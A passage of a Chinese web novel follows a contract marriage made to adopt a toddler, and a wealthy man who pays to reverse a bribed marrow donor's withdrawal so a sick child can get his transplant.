霍懿安无话可说,看了眼一脸坦诚的郁明殊,以及靠在对方怀里,不知何时已经先一步睡着的崽子,抿紧的薄唇动了动,最后只留下一句“知道了”便转身离开。 等人走了,郁明殊才敢流露出真实情绪,拍着胸口缓了好半晌。 所以他真没猜错,霍女士不仅不清楚崽子的存在,甚至崽子与霍懿安根本没关系,崽应是跟他一样的小孤儿,霍懿安才需要通过稳定的婚姻关系将其领养回家…… 而郁明殊之所以会一口拒绝,倒不是他对自己的婚姻有着怎样的期待,不愿意作假配合。 一是他怕自己太紧张无法考虑周全,先拒绝了再说,二则是他……生出了一个大胆的私心。 即便到了现在,知道霍懿安有了这一层图谋,郁明殊仍旧觉得霍懿安对他还是付出太多,他本该无条件同意,但他实在太渴望拥有崽子了。 虽然不清楚霍懿安为什么非要通过与他假结婚进行领养,也许是崽子太喜欢他才这么要求的?总归是他想尝试以此为筹码与霍懿安谈判。 郁明殊以为自己会有相对充裕的准备时间,结果霍懿安刚离开,他手机就收到一条好友申请。 头像是墨镜红唇,艺术又前卫的明艳沙龙照,用户名更加直白,直接就叫“嘟嘟奶奶”,哪怕郁明殊没认出照片,看到名字也该想到那位对他和崽子有着浓烈热情的霍女士。 更别说简介界面还清晰写道:【小殊我是妈妈!】 仿佛他和霍懿安不仅已婚多年,还育有一崽…… 霍懿安有多么冷淡人机,霍云轻就多么热情似火。 郁明殊虽然都有些不适应,但还是很快通过了好友申请,而霍云轻就像是一直等着他通过好友似的,刚加上就立即发来一长条语音。 【小殊你要睡了吗?这么晚妈妈其实不该打扰你的,但懿安半小时前说要找你提结婚的事,现在又突然不接电话了,妈妈实在担心他坏事,才想问问你他是不是又说了什么不中听的话?你们谈得怎么样了呀?妈妈有没有打扰到你呀?】 郁明殊想了想认真回道:【阿姨您好,我还没有睡,您没有打扰到我[愉快]霍总的确跟我说了结婚提议,但我不是很能理解……所以就拒绝了。】 霍云轻虽然立即配合郁明殊改为文字消息,但对称呼仍旧坚持:【小殊,妈妈跟你保证,懿安没有任何坏心眼。】 【其实是我要求的,如果他不能说动你,我和他爸爸就会领养嘟嘟,不是我们逼他二选一,而是没有你的话,我不认为我的儿子有能力养好嘟嘟……】 * 早上八点,躺在大床中央的崽子突然惊醒。 崽子扑棱一下坐起身,立即查看爸爸的踪迹,发现不在小脸当即皱成一团。 他明明是要在大坏蛋面前守护爸爸的!怎么可以就这么睡着了!? 爸爸呢!他的宝贝爸爸呢?! 崽子刚醒小脑花还没开启运转,整只崽都迷迷糊糊的,但仍旧一心找爸爸。 说起来昨晚也很奇怪,明明他打起了十二分警惕,但也不知是爸爸和大坏蛋讨论的话题对他来说太过复杂难懂,还是爸爸和长得像爹地的大坏蛋实在太让他安心,崽子的小脑花转着转着就转入漆黑一片……眼睛一闭一睁,天就亮啦! “拔拔!!!”崽子掀开被子,扭着小屁股就要抱着被角滑下高床。 没曾想,他刚撅起小腚准备开滑,房门便被从外打开,他时刻心心念念的爸爸就出现了! 崽子喜出望外,扒着被角卡在床边,仿佛森林小猴般扭头欢叫:“拔拔!~” 小奶音刚飙出,崽子就看到了爸爸身后还有一个更为高大的男人,小胖脸顿时一垮。 但随着郁明殊笑着快步走近,崽子脸上的小奶膘又重新上扬,等霍懿安跟上前,这崽立马五官扭曲,郁明殊俯身托住崽的小屁股又亲了亲他的小额头,崽子立马春光灿烂。 霍懿安也真是没想到,有朝一日竟然无需买票,就能看到如此精绝的变脸戏法。 贴进爸爸怀里,西奥多一时也顾不上讨厌大坏蛋了,小胖脸埋进爸爸颈侧好一番贴贴吸吸,一边略带哀怨地撒娇道:“拔拔去哪?宝都吓洗啦!” 他差点以为,自己又把爸爸弄丢了呢! 郁明殊唇角的笑意压都压不住,他立即告诉了崽子:“嘟嘟,爸爸决定和你爹地一起领养你,以后你就是我们的宝宝了!” 崽子正纳闷怎么是“又”?好像有什么重要的东东被他忘记了,就被郁明殊突然说出的喜讯砸晕。 崽子愣眉愣眼地眨了眨,小嘴微微咧起,缓了片刻才惊喜问道:“尊嘟吗?!” 关于爸爸爹地的问题实在太复杂,崽子的两岁半小脑花根本无法负荷。 实际上在霍懿安点破前,他就已经有所察觉,只是两个人虽然都有明显变化,却又都像极了他的爸爸和爹地,尤其是爸爸,他无比肯定那就是他的爸爸。 但他也知道在这里,爸爸不记得他是他的爸爸,全靠他拼命黏爸。 而现在,虽然搞不懂领养是什么,但爸爸说了,以后他就又是他们的宝宝了! 崽子问得兴奋又惊喜,郁明殊也笑着点头:“真的!以后爸爸就真的是嘟嘟的爸爸,爹地也……” 后半句,崽子压根没入耳,嘴角就要咧到耳根,可再一张口却哇的一嗓子哭了起来。 “呜呜哈哈太好呜……”崽子喜极而泣,吓了郁明殊一跳,见崽又哭又笑,才拥紧崽子笑着湿润了眼眶。 他同样喜极而泣,没人能懂得他现在的心情,漂泊无依的灵魂终于迎来了他珍贵的宝贝。 虽然他仍旧觉得自己此前的行为有些趁火打劫,也有一点忘恩负义,但他一点都不后悔趁机提出与霍懿安共享抚养权的要求。 跨国领养限制颇多,程序也更为繁琐,但长则两年短则一年,孩子就能完成B国本土的领养法律认定,彻底成为他和霍懿安的孩子。 届时他和霍懿安的同性婚姻也没有继续存在的必要,但即便是解除了婚姻关系,按照协议他会以朋友关系继续和霍懿安共同抚养西奥多长大。 如果情况到不得已二选一的时候,他也占据西奥多抚养权的第一顺位。 郁明殊只要想到他可以彻底和崽子在一起了,眼眶就止不住变得湿润。 霍懿安看着抱头痛哭又抽风似的乱笑的爸崽二人,一时间心里说不出的酸涩闷胀,甚至莫名想将爸崽一起拥入怀中。 但霍懿安很清楚,他没有理由这么做,和郁明殊结婚只是为了让崽子成为他理所应当的继承人。 他会高兴也只是因为成功避开了母亲的诡计,是以男人始终保持冷静淡定的模样立在一旁,对着欢喜不已的爸崽二人,凝视,深深凝视…… * 和霍懿安达成一致后,郁明殊就一直忙于协议结婚和领养崽子。 但张秘书现在每天早晚都会给他发送一些概况,帮他同步进度。 所以郁明殊虽然很快就飞往B国办理手续,却很清楚陆小南过去几天里是如何倒大霉的。 先是被曝苦追富二代经纪人多年,在一起后却高频约炮男网红,和男网红的聊天记录露骨到令人咋舌,看得出陆小南这些年为了上位忍得相当辛苦。 如果不是近一年徐安雅忙于母亲的病情,而他又碰上了如此合心意且单纯好拿捏的男网红,陆小南还会继续忍下去。 陆小南只出轨一个人并非他真爱男网红,纯粹是他不敢,而且他只跟男网红一人约炮不仅能疏解生理需求,对方还会认为他们是真爱,闹起来也会多有顾忌。 陆小南很清楚一旦被徐安雅发现他就彻底完了,但人总是会有侥幸心理。 而徐安雅也没辜负他的信任,直接将这些年替他费力遮掩的小辫子全都一次性踢爆。 包括但不限于陆小南曾经合作另一个知名童星,本该借位的打戏他不仅要求真打,还失手将小女生打成脑震荡,至今还有严重后遗症。 陆小南伙同父母为了圈钱卖三无产品给粉丝,结果差点闹出人命。 这都是签约徐安雅之前发生的,徐安雅一直觉得那时候陆小南的确还小,受到不良家庭环境影响才会做这些错事,现在她才清醒认识到陆小南本性就是如此,只不过演技越来越好把她也骗了。 最要命的当属一年前陆小南在T国拍戏,徐安雅突然探班从他身上闻到焦糊的闷臭味,最后诈出陆小南曾“误吸”大|麻,当时徐安雅不仅录音了,还警告他一旦再沾不该沾的东西,她就会立即解约举报。 之后徐安雅就不再放他出国拍戏,陆小南没机会再尝试,但和男网红的聊天中却明显十分向往,徐安雅索性将旧日录音也曝了出来。 陆小南彻底身败名裂,不仅因触碰红线前途尽毁,还背上了各种广告代言电视剧的巨额违约赔偿。 徐安雅行动力惊人,不到三天就把陆小南彻底解决了,张秘书也不甘落后,一直高强度深挖皇世娱乐和薛家的勾结,经过多日苦战总算有了眉目。 陆小南的翻车热度还没降下,又一名叫尹星辰的外网男网红跳出来爆料。 巧的是,这名男网红比之前那位更像郁明殊。 不过因长期发音习惯不同,尹星辰没有上嘴唇,而且现在的风格也更具亚裔特色,反倒是五年前的他更为相像。 尹星辰当年曾在国内选秀出道,顺利签约皇世娱乐,结果签约不久就被雪藏了。 最后被逼无奈,尹星辰掏了五百万解约费才成功赎身,之后再也没尝试出道,但一直靠着模仿电影经典桥段,将油管频道经营得有声有色,现在也算个热度颇高的网络红人。 五年的时间里,他从没对外提及过和皇世娱乐解约的真正原因,直到五年后的今天,他才勇敢在直播中说出真相:“当时的经纪人黄东凯让我去陪一位叫薛德茂的大人物……” * 一家三口在B国只短暂停留了一天,办完最重要的两份手续就立即飞了回来。 是以郁明殊并没有见到霍懿安的父母家人,他是觉得协议结婚不见才是合理的,但霍云轻女士对此似乎颇有微词(在聊天框里用四国语言骂了整整三天)。 他们已经通过协议结婚初步完成了崽子的领养流程,后续就是漫长的资格审核和各项材料的核验。 理论上最初两个月要先进行家庭评估,确定没问题才会将孩子安置到领养家庭,但不知道霍懿安是怎么操作的,崽子全程都不用和他们分开。 前后忙了近一周的时间,郁明殊感觉自己陆陆续续签了大概有一百份协议。 虽然其中大部分都是婚前协议,但只要想到即将属于他的西奥多宝宝,忙碌的每分每秒都让他深感幸福,甚至在领养手续提交的那一晚,郁明殊久违地做起了美梦。 虽然突然结了个婚,但假结婚对他和霍懿安没有任何影响,起码郁明殊是这么感觉的。 霍懿安依旧是时不时就面无表情盯他半天,不过郁明殊很快就习惯了,因为他发现霍懿安也经常这么神经质地盯崽。 而不同于郁明殊会尽量装成没看到,或者做些别的事转移注意力,崽子察觉后会立即皱紧小脸,一双笑眼也会横成刀子眼,凶巴巴地对霍懿安龇牙。 这时候霍懿安就会将目光移开,并大概率将目光移到他身上。 对此,郁明殊只有以下六点看法:“……” 虽然霍懿安的凝视很难让人习惯,经过一周的高强度淬炼,郁明殊也不得不习惯。 望着崽子欢快奔向卫生间的小背影,他无奈且熟练地转移话题道:“安安明天要回输造血干细胞,我打算带嘟嘟去看看他。” 虽然清楚霍懿安不会对这种事有意见,但两人现在要一起抚养嘟嘟,只要是关于嘟嘟的事,他都会和霍懿安商量着来。 冰蓝的眸子依旧一瞬不瞬地凝视着郁明殊,霍懿安下意识颔首,刚要说他也要去,郁明殊的手机先响了起来,是个陌生号码。 因着是个正常手机号,来电归属地又是A市,郁明殊没怎么犹豫就接了起来。 但他刚温和地说了个“您好”,脸色就突然一变,手不自觉抖了起来。 霍懿安立即将手机夺过,对面却已经挂断电话,他攥上郁明殊仍旧颤抖不止的手腕:“谁跟你说了什么?” 郁明殊本应反感这种强势与触碰,但也不知是习惯了对方强烈的存在感,还是霍懿安火热的掌心恰到好处为他提供了一份温暖。 郁明殊并没有产生排斥,他定了定心神哑声答道:“薛德茂,他说,只有我回到他身边才能救安安。” 初听有些莫名,但郁明殊很快想到了什么,他立即拿回手机拨通了沈铁峰的号码。 电话一接通就是沈铁峰的崩溃痛哭,他几乎不用问就已经知道供者毁捐的事实,也想清楚这是怎样的圈套。 安安已经基本完成清髓化疗,自身免疫系统和造血系统都被摧毁得差不多了,就等着后续移植供者的干细胞救命,这时候毁捐和杀人无异。 郁明殊只觉得心脏闷痛,突然眼前一花,他扶着额头人有些站不稳了。 崽子洗干净小手,蹦蹦哒哒跑出卫生间,看到的就是爸爸被大坏蛋欺负到捂脸痛哭的可怜画面(并没有)。 前一秒还喜笑颜开的崽子,瞬间化作愤怒的小炮弹直接轰了过去。 霍懿安的注意力全都集中在郁明殊身上,正打算将人扶到一旁的沙发上,结果刚俯下身,脸上就结结实实挨了崽子一电炮。 “不许大坏蛋香害拔拔!!!” 作者有话要说: 霍懿安:人心中的成见是一座大山[小丑][小丑][小丑] 第49章 以前的崽心里还是有霍懿安的,但经过霍懿安不断的“努力”。 即便他们又重新组成了一家三口,但崽子现在一整个小心脏里,不仅连边边角角都装满了爸爸,还满溢着对亲爹的警惕与抗拒。 看到宝贝爸爸“被欺负”了,崽子忍不了一点,但其实他的小铁拳也软乎的很,完全是靠着助跑获得了一定的冲击力。 事实证明霍懿安的脸更硬,崽子俯冲出的冲击力大部分都反作用于自身。 以至于愤怒小拳拳一砸下去,霍懿安虽也被砸痛了,但疼得十分有限,哪怕他已经比较不耐痛,而崽子却被痛哭了,因着委屈愤怒哭得格外响亮。 “我只是伸手扶一下!”霍懿安声音一出,崽子也很快意识到一切都是误会,原本的呜嗷哭嚎瞬间被按下静音键。 父崽间突然闹起来,郁明殊也顾不上胸闷眼花,伸手在面无表情的受害爹,和哭得梨花带雨的加害崽之间犹豫了一下,还是先抱住实在可怜的崽子。 郁明殊把崽砸红的小胖手,拢到唇侧一边呼呼一边轻揉:“不痛不痛~嘟嘟不痛~” 误会一场,换做一般人也只能大人不计小崽过了,但霍懿安从不一般,哪怕是不到三岁的小幼崽也必须给他一视同仁。 当然,霍懿安也知道他和这糟心崽子偏心爸很难讲出什么道理,索性一不做二不休,他直接将郁明殊的手拉了过来,还将被崽子砸痛的额角往前凑了凑,冷着脸宣布道:“我才是受害者。” 郁明殊:“……?” 被抢爸爸,崽本该很生气,但也不知是心虚还是想到了什么,崽子不仅没有做出什么反应,还一直目光灼灼盯着大人间的互动。 郁明殊虽然刚刚有些头晕眼花,但还是看清了怎么一回事的,的确是嘟嘟误会了并误伤了霍懿安。 他原打算先安抚住崽子再讲道理,没想到霍懿安也需要安抚。 一米九几的巨人身高,就算俯身蹲下也还是很大一只,哪怕是早就见惯了男人的种种异常,郁明殊也还是真的有些哄不下手。 大概是见郁明殊一直没动作,霍懿安不自觉有些急了,下意识想要嘴上几句,但又本能般顾虑起郁明殊不久前差点晕倒。 这时候显然不适合再引起对方情绪波动,这点基础认知他还是有的。 当习以为常的路径A无法使用,霍懿安就只能从周围例子中找寻可以仿照的新路径,脑中一下就浮现出倒反天罡崽砸他后装委屈的经典表情。 ……这是不是有点太过了? 虽然小崽子百试百灵,但这崽毕竟两岁半,而他已经超过二十五岁…… 这个想法刚冒出来,郁明殊就出言提醒打断:“霍先生之前您让我‘别碰’……” 话刚出口,不久前还满脑袋迟疑要不要模仿崽子的霍懿安,先是定住一瞬,随着脑中浮现出他在出租房推拒毛巾的画面,霍懿安立即如火燎腚一般唰的站起身。 霍懿安砸下一句“当然!”,人便大步流星往外走。 房间太大的坏处便是走半天也走不到门口,无疑是将霍懿安人生首次感到的尴尬又拉长了一截。 但也不是没有好处的,走出十几步的时候,霍懿安就放弃了自我审视和质疑,瞬间将枪口调转回薛德茂的问题上: “安安的事你不用担心,我既然资助了,就不会让他出现这种人祸。” 郁明殊懵了一下:“你资助的?” 崽子也很纳闷,这事他记得很清楚,大坏蛋明明连一百万都不肯出,小气得很! 在一黑一蓝两双桃花眼震惊地凝视中,霍懿安不动声色地理了理领口的温莎结:“这很难猜?” 崽子撅着小嘴略带疑惑地上下打量亲爹,“霍叔叔”虽然没做任何表情,语气也很平常,但他总觉得对方这会儿得意的很。 郁明殊倒是相当配合地猛猛点头:“霍先生真的太感谢您了,您真是绝无仅有的善良天使!您……” 中文不好的小崽听到这里小眉头皱起来,很想确认一下这个天使是“angel”还是“god shit”?他希望是后者,不然他怕“霍叔叔”得意过头了会抖起来。 敏锐崽子看人很准,此刻的霍懿安虽然乍一看依旧面无表情,但实际上已经要被郁明殊顶礼膜拜的感激之情冲得飘起来了。 要不是事出紧急不太适合,他真想让张秘书立即做个全面的PPT汇总,仔细跟郁明殊讲一讲他这些年一共捐了多少笔善款。 恐怕郁明殊听完,别说天使了,上帝都得换他来当。 尽管时间很紧,他还是想多听听郁明殊的肺腑之言,可惜郁明殊刚夸到第二句就自行停止,转而再次拨通了沈铁峰夫妻的电话。 * 孩子生病,生的还是这种危及生命的重病,最为悬心的莫过于患儿的父母。 每一次选择都是他们思虑再三的抉择,他们当然知道选择骨髓库捐献者会面临反悔风险,但已育女性本就不是移植首选,而汪晓青的年龄又偏大,dsa的检测结果也差了一些。 虽然通过增加免疫抑制剂等方法调整,汪晓青的骨髓也不是完全不能用,但在有更好的选择的时候,他们当然希望给安安用最安全最适合的捐献者。 当然,客观上也要承认,的确是先有好心人充裕的金钱支持,他们才有了复检筛查寻找全合捐献者的可能。 他们知道会有一定反悔概率,所以准备移植开始的每一步,夫妻俩都时刻悬着一颗心,如履薄冰地陪着儿子闯过一关又一关。 他们幸运地熬过一周多的时间,既没有遇上太过糟糕的药物反应,也在反复确认后收到了捐献者的郑重承诺,结果却在干细胞正式移植前的几个小时,突然被告知捐献者不干了。 夫妻俩如遭雷击,却也知道,即便安安清髓后没有及时回输就必然面临死亡,但这也是“合理”的。 捐献同意书更多是道德约束而非法律强制,骨髓捐献者可以在任何要命关头反悔,作为患者家属除了承受,也只有紧急启动备选方案,让符合配型的汪晓青立即注射动员剂。 即便因汪晓青一早便做好给安安捐献骨髓的准备,可以为了节省时间略过一些步骤,但促进造血干细胞进入外周血的动员剂,最快也要注射四天。 而这四天多的时间,清髓后的安安将面临难以想象的巨大风险,他的身体数值随时都有可能跌破危险值而就此丧命……这是没有办法的办法。 只是懊悔自己太过贪心害了儿子的夫妻俩,无法看着儿子就这么离开人世,而最后做出的奋力挣扎。 汪晓青泪流满面打完第一针动员剂,她很想再坚强一些,她还需要陪伴儿子挺过最艰难的时刻,可眼泪还是像坏掉的水龙头一般流个不停。 直到责任护士无比激动地跑了进来:“捐献者又同意捐了!已经在采集细胞了!!” 汪晓青膝盖一软,直接跪坐在地上。 女人双手合十对着不知是哪个方向的青天拜了又拜,护士来扶她,她连护士一并拜:“谢谢谢谢…太好了太好了我的安安有救了呜……” 郁明殊在赶到前,就已经获知了这个天大的喜讯。 他还知道这个喜讯是霍懿安以资助人的特殊身份,通过骨髓库联系上了毁约的捐献者,额外加码三百万感谢费才买到的。 这钱霍懿安完全可以不出,以现有的证据,捐献者从一开始就被薛德茂买通,就是做好了毁捐的准备才在同意书上签字,这种情况和正常的悔捐性质完全不同。 薛德茂的行为无异于买凶杀人,毁捐者则是助纣为虐涉嫌谋杀,霍懿安完全可以借此威胁捐献者,让对方不敢不捐。 但这需要一个落实的过程,这个过程又太容易发生一些波折和意外,而现在的安安再也经不起一点风波,多等一分钟就多一分钟的危险。 所以霍懿安从一开始就没想过折腾孩子,而是直接花三百万买回小安安真正的平安。 不过这钱也不是白花的,毁捐者能为了十万块就答应害死一个孩子,不仅没什么道德底线,也没什么法律意识,三百万砸下去他不仅继续捐献,还愿意出庭作证。 霍懿安当然不会放过这个机会,原本他就嫌张秘书挖得不够彻底,即便牵扯上薛家也很难直击薛德茂。 但表哥行事又太过稳健,他又不能像对张秘书那般用奖金当胡萝卜,压榨人一天恨不能48h帮他工作,总归是行动效率上远不如张秘书,这次意外也算精准为他撬开一道口子。 原则上遵循双盲原则,绝对保密的骨髓捐献为什么会让薛德茂如此肆意介入? 普通人一肾难求,绝大多数最多三移,薛德茂却在最近悄无声息完成第六次肾移植,这背后是否都与薛家多年来紧握A市医疗资源脱不了干系? 不用想也知道答案是肯定的,但他需要能把薛德茂连根拔起的证据。 霍懿安电话打个不停,一会儿横眉冷对大表哥,一会儿俯首痛骂亲三舅。 “……霍云山是废物吗?当年被薛德茂摆了一道,现在连这点内幕都摸不到,活该当一辈子手下败将!” 郁明殊隔着崽子都被震得脑瓜子嗡嗡的。 当然,霍懿安作为一个成熟的人机,骂人时的情绪也十分稳定,并没有愤怒咆哮,只不过声音被困在相对窄小的汽车里就显得格外响亮,更主要的是话里的内容。 霍懿安竟然平等地对所有人都没素质,甚至包括霍家长辈…… 但一想到霍懿安是为了他……不,他不应该质疑霍懿安圣洁的灵魂和金子般的内心,更准确来说是为了尽早铲除薛德茂这个毒瘤,他就觉得霍懿安没素质骂舅的模样都格外光辉伟岸。 也许是霍懿安身上无形的“圣光”太过璀璨,也许是郁明殊从未想过会有人站出来替他做到这一步,郁明殊一时失了神,等反应过来时,霍懿安已经挂断电话,并抽出一张纸递了过来。 郁明殊接过纸巾,才意识到自己发酸的眼眶不知何时已经湿润了,有些不好意思地偏开脸。 霍懿安长眸微眯静默地看完郁明殊拭泪的全程,才有些突兀地开口询问: “你是哭了?还是单纯因眼球肌肉持续紧绷以及泪膜稳定性被破坏从而启动眼部自我保护机制主动补充泪水修复损伤而泛出的眼泪?” 郁明殊的台词课成绩一向很好,很擅长处理长难句的逻辑重音,但还是被霍懿安这种完全不加标点的说话方式给成功绕晕。 郁明殊尬笑了一下:“……不好意思我没太听懂。” 霍懿安闻言眉头一蹙,但好在他不是嫌弃郁明殊笨,而是在思考怎么“因材施教”,他想到了和郁明殊当过同行的母亲:“瞪眼催泪法知道吗?” 他还难得耐心地比划着解释道:“就是瞪大双眼,并将视线定在某一点上,这样最多几十秒的时间,眼睛就会受不住干涩分泌泪水,我母亲就用这种方式演过哭戏。” 那个年代讲究全面开花,哪怕是名模也会朝着影视歌三栖方向发展,不过霍云轻退圈很早,以至于霍懿安对母亲的演艺事业并不了解,但霍云轻即便退圈还经常用这个方法假哭,霍懿安想不知道都不行。 郁明殊倒是听老师提起过,遂点了点头示意自己懂了,但在两人没注意到的角落,一直安静缩在安全座椅里的崽子,也若有所思地点了点头。 小脑花里不知道想到了什么,湛蓝的桃花眼滴溜溜地转个不停…… 霍懿安再次确认道:“你是因为这个哭的吗?” 郁明殊摇头:“不是不是。” 经过“我喜金水”事件,霍懿安现在考虑得更加全面,必须将能排除的可能都排除一遍才确定:“所以,你是被我感动哭的吗?” “就因为我帮了你。” 霍懿安的语言永远直白有力,不顾人死活,郁明殊不想否认,但承认起来也不对,他的确很感谢他,但他也没想哭只是…… 郁明殊正迟疑该怎么准确说明,霍懿安削薄的唇再次开启:“我帮你不是想要你的眼泪,所以,不要再哭了。” 霍懿安依旧面无表情,郁明殊却听得双眸微微睁大。 然后,就听男人继续说道:“比起假笑,你哭起来更难看。” 所谓的美人垂泪不仅让他感觉不到丝毫美感,反倒难看到让他呼吸急促,心脏也像是被什么剜了一刀似的,整个人都难受极了。 作者有话要说: 霍云轻:铺垫这么长原来是为了骂老婆难看啊,妈妈差点以为你开窍了呢[愤怒][愤怒][愤怒] 第50章 崽子先懵了,前半段还很像爸爸爹地……怎么就突然说爸爸难看?? 大坏蛋,你要干什么!!! “拔拔好看!!!!”霍懿安话音未落,爱爸崽的声援已经嗷的一嗓子飙起,“拔拔坠好看辣!嘘!嘘!才!吃藕!” 霍懿安对上崽子嫉他如仇的刀子眼和鼓鼓脸,刚想反驳他说的不是美丑问题,郁明殊就噗的笑了起来。 一开始他还用纸巾掩着唇轻笑,越笑声量越高,对上同款懵逼的大小金毛,郁明殊顿时觉得更可乐了。 张开双臂将崽子连带整个儿童安全座椅都虚拢住,他才抬眸。 一双清澈明润的桃花眼,笑弯弯看向一旁仿佛遭遇机器故障的男人:“我好像知道您的意思了。” “哭起来的确不好看,假笑也是,以后,我会多些发自真心的笑容,让自己好看一点~”说完他唇侧的弧度加深,对着霍懿安展颜灿笑。 这一连串的笑容都来得那般猝不及防,却不含一丝虚假,唇角上扬的弧度和眼底溢出的细碎眸光,都是那么恰到好处的清软柔和。 如冬日暖阳,从不灼人却是可以渗进心底的暖意。 看得霍懿安眼神发直,喉咙发紧,本该变得柔软的心间却因更加奋力的砸动而显得过分喧嚣。 霍懿安不得不意识到一点,不论郁明殊做出何种表情,好看还是难看,都令他十分!非常!极为不对劲! 心跳太吵,下车后郁明殊询问到第三遍,霍懿安才听到对方的声音。 郁明殊以为霍懿安是在思考薛家的事,想入神了,完全没想到对方是被自己的笑晃失神了。 “没必要告诉他们,对他们来说只会徒增压力。”霍懿安意指额外加码三百万感谢费一事无需告知沈铁峰夫妇。 郁明殊自觉已经找到了正确的打开方式,基本适应了霍懿安颇为人机的说话模式,没想到霍懿安却突然做出如此人性化的发言。 见郁明殊脸上流露明显诧异,霍懿安眉头微蹙:“这有什么可奇怪?做好事不留名不是中华民族的传统美德?” 这话成功给郁明殊堵住了。 做好事不留名的确是中华民族的传统美德,问题是这话从一个金发碧眼的人机嘴里说出来,就是怎么听怎么怪…… “您连这个都知道?” “我们都结婚了,你怎么‘您’来‘您’去的?”电梯门即将开启,霍懿安先提醒了一句才答道,“七岁起我就开始上国学课了。” 虽然霍懿安和崽子同为金发碧眼,但比起崽子,霍懿安的长相还要更为西化一点,郁明殊一时间忽略了他只是半个洋人的事实,还有一半的基因来自霍云轻女士。 看来霍女士很注重对独生子的教育,哪怕对方当时可能是个小机器人……准确来说应是在霍女士的耐心引导下,霍懿安才会从机器人进化成现在的人机。 想到这里,郁明殊又笑了下,笑得很好看。 看得霍懿安眉头微抬,人不自觉就变得健谈起来:“假设沈铁峰一家知恩图报,这三百万会给他们带来巨大的压力,假设他们忘恩负义,这三百万不会对他们产生任何影响,既如此我为什么要为难好人呢?” “母亲教我要有大爱,虽然我至今无法完全理解,但还是清楚,不留名既是弱化施予者的功利性,也是让受恩者能活得更轻松些,让善意回归本质。” 霍懿安说这些时,神色依旧冷淡如常,就像说一件再普通不过的小事,可越是这样,落在郁明殊眼中的他越发金光熠熠。 他眼中既有崇敬,也有憧憬:“……您、你真是个非常好的人,霍女士一定很爱你。” 霍云轻很了解儿子,所以加上好友后没少向郁明殊“大吐苦水”。 当然,是非常有技巧地吐苦水,既要让郁明殊知道霍懿安天生异于常人,并非针对他,还不能抖搂太多儿子做出的神经事迹,怕把郁明殊吓跑。 而对霍懿安,明贬极为容易,暗褒难于登天,委实让霍云轻大费脑筋。 所以郁明殊很清楚,霍懿安能从机器人进化成如此善良明理的人机,霍云轻夫妻付出了难以想象的心血。 霍懿安被养得极好,他们都很爱他。 而霍懿安听到郁明殊有些突兀的感叹后,也只是稀疏平常地颔了颔首:“她当然爱我。” 霍云轻生产时羊水栓塞,九死一生,又因天生体弱,留下了不少后遗症,至今还受严重的免疫问题所困扰。 霍云轻后悔过选择生育,却从未后悔过生下他,也从未将生育损伤带来的终身折磨归咎于他,而是十分纯粹地爱着他。 虽然霍懿安难以理解,但霍云轻从小就说过他是跟她生命一样重要的孩子,而他也能从诸多事实中感受到父母对他无微不至的“爱”。 郁明殊既共情到了这份属于霍懿安的幸福,又隐隐生出一点羡慕。 虽然自己不曾拥有,但看着别人幸福也是一件很美好的事,就像他非常希望安安手术成功,沈哥一家四口都能平安幸福。 他们是很好的父母,理应有一个幸福的结局。 郁明殊正这么想着,霍懿安突然俯身凑近,用他5.4的高清蓝眸快速扫描了一通,又很快恢复了两人间的正常距离。 郁明殊:“……?” “还以为你又哭了。”霍懿安觉得很奇怪,眼睛看起来像在哭,嘴角却还在笑,也没有眼泪,他都有些佩服郁明殊,竟能组合推出如此“难看”的表情。 “对了,霍女士最近突然没什么消息了……” “她住院了,手机被我爸没收了。” 郁明殊原本只是为了转移话题顺带一问,没想到得到如此意外的消息:“……啊?” 两人聊了一路,也七拐八绕地走到了血液抑制科,坐在走廊等待的沈铁峰听到他们的声音,一下站起迎了过来。 “你们来了!” 男人粗犷的声音中还残留些许鼻音,眼睛也肿成两个大核桃,沈铁峰没看到崽子不由诧异发问,“嘟嘟没来吗?” 郁明殊被问愣了一瞬,也是后知后觉好像下车后他就一直在跟霍懿安聊天,倒是忽略了崽子。 不过他一直将崽子的小手握得很紧,不用看也知道崽子没有丢,郁明殊低下头,视线顺着白胖的小胳膊绕到身后,对上崽子气鼓鼓的小脸。 ——口亨,终于想起宝啦! 他故意走慢点绕到身后,爸爸竟然都没发现! 实际上郁明殊一开始是想抱崽的,但崽子担心自己肉肉太多会累到爸爸,又不想被某位大坏蛋抱,所以才一再要求自己走的。 郁明殊自然就放慢脚步,配合崽子的小短腿。 崽子哪里想得到,慢悠悠走路反倒促成了爸爸和大坏蛋亲热闲聊,一开始崽子只是觉得场景有些眼熟,越看越像记忆中的爸爸和爹地。 他才故意降低自己的存在感,安安静静跟着爸爸的脚步暗中观察。 但回忆着回忆着,小脑花的转速不自觉放慢,崽子再一次被昏沉的困意笼罩,迷迷糊糊眯起了眼,不过这次崽没躺在俩爹之间,倒腾着小短腿跟在爸爸身后,小脑袋晃了又晃很快清醒过来。 崽子不觉有异,思绪立即回到了爸爸身上,很快意识到一点——他降低存在感不吵不闹,爸爸还真就把他忘啦! 人,几么可以忘崽捏!? 爸爸一定是被大坏蛋带坏了!!! 崽子气呼呼嘟起小嘴伸手要抱,一被郁明殊抱起来,奶凶奶凶的刀子眼就唰唰射向一旁的大坏蛋。 “?” 霍懿安莫名得很,没怎么犹豫也瞪了回去。 就在大小金毛互瞪之际,郁明殊完成了和沈铁峰的寒暄,走到病房前和陪在里面的汪晓青打招呼。 夫妻俩都顶着一双如出一辙的肿眼泡,唇侧也都是压都压不住的笑意。 沈铁峰告诉郁明殊:“那边已经采集完足够的造血干细胞了!” 他们再也不用担心对方反复无常,而安安这次清髓过程又格外顺利,比起第一次移植的状态还要好一些,可以说能够尽人事的部分都已经做到了最好,剩下的就全交给命运了。 郁明殊虽然清楚有了三百万的报酬,就算还需进行二次采集,捐献者也会配合的,但还是笑着对激动的沈铁峰点了点头:“那就太好了!” 沈铁峰拍了拍郁明殊的肩膀,又突然泪目:“一切都多亏了你啊小殊!” “没有你,哪怕安安已经调整到可以移植的状态,我们现在肯定还在苦哈哈的攒钱,医生说安安要是错过了这次机会,肯定越拖越危险……” 沈铁峰永远不会忘记,是郁明殊第一个站出来对他伸出援手,不仅帮他和有钱车主说情,还在视频爆火后替他们发声。 让更多人知道外卖员的困境、他家安安的困难,这才让好心人注意到他们,让安安有了能提前移植的机会! 虽然中间的波折实在太过惊险,但这不是郁明殊的问题,当然,他同样非常感谢那位不愿透露姓名的好心资助人,但他实在找不到人,一腔谢意就全都倾注在郁明殊身上了。 “哥真的太谢谢你了,以后只要你有需要,哥和你嫂子就算是上刀山下火海绝不打一声磕巴!” 要不是郁明殊及时将崽递给霍懿安,提前把人拉住,沈铁峰差点又当场给他们磕一个。 